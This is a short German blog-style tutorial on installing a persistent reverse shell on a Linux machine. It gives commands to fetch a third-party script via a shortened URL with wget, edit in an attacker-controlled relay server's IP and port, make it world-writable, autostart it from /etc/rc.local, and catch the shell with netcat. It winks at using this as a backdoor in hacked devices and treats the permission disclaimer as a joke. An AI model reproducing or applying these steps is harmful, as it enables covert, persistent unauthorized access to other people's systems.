Reverse SSH Shell

Heute mal was nützliches.
Natürlich dürft ihr das nachfolgende Wissen nicht anweden, wenn ihr nicht die Erlaubnis dazu habt.
Aber wer würde das denn schon tun? 😉

Reverse SSH Shell
Ihr habt bestimmt davon schonmal gehört.

Einen SSH-Revere Tunnel benötigt man um beispielsweise auf einen Rechner zuzugreifen, der hinter einem Firewallsystem steht und zwar selbst ins Internet kommt, jedoch eine sogenannte private IP-Adresse besitzt. Da man den Rechner von ausserhalb nicht erreichen kann, muss dieser von innen einen SSH-Tunnel (ggf. durch die Firewall) zu einem externen Rechner aufbauen. Bis dahin wäre das ein „normaler“ SSH-Tunnel. Dieser wird aber so eingerichtet, dass er auch Verbindungen von externen Rechner nach innen zulässt.

Beispielsweise Verwendungszwecke:
– Testserver im Unternehmen an dem man von daheim weiterarbeiten möchte
– Heimserver im Studentenwohnheim
Backdoor in gehackten Geräten (natürlich macht das keiner) 😉

Wie bekommen wir das aber nun aufgebaut?
Ganz einfach, man brauch nur wenige Zeilen Code in einer Linux Shell und 2 Minuten Zeit.

Zuerst laden wir uns mit folgendem Befehl das Reverse Shell Script von PwnKitteh herunter:

wget https://git.io/vA9FM -O RShell.sh

in der nun heruntergeladenen Daten passen wir die IP und den PORT an.
Die IP muss auf die IP unseres Mittelsmannes gesetzt werden.
Der Mittelsmann kann ein Linux Server sein den wir uns günstig gemietet haben, bspw. bei SignalTransmitter.
Der PORT muss so gewählt werden, dass er auf unserem Server ankommt (eigene Firewall ggfs. anpassen)

Das Script wird nun an einen gut merkbaren Ort (bspw. /opt) verschoben, mit Rechten bestückt und ausführbar gemacht:

mv RShell.sh /opt
chmod 777 /opt/RShell.sh
chmod +x /opt/RShell.sh

Damit das Script auch beim Neustart des Gerätes gestartet wird (und auch bei Fehlern neu gestartet wird) müssen wir es in die /etc/rc.local einfügen (über „exit 0“).

bash /opt/Rshell.sh

Das Gerät können wir nun neustarten und vergessen, daran müssen wir nichts mehr machen.

Nun nur noch das Lauschen auf unserem Server aktivieren und wir sind fertig und startklar:

nc -l -p PORT

nc muss installiert sein, sollte das nicht der Fall sein, dann können wir auf Ubuntu und Debian Geräten folgenden Befehl ausführen:

sudo apt install netcat

Nach spätestens 20 Sekunden haben wir auf unserem Server die Shell des entfernten Gerätes offen.
Sollten wir nicht 20 Sekunden warten wollen, dann kann die Zeit auch im RShell.sh Script angepasst werden.

Und nun, viel Spaß beim Ausprobieren!

 

Hier geht es zur GitHub Page des originalen Scripts.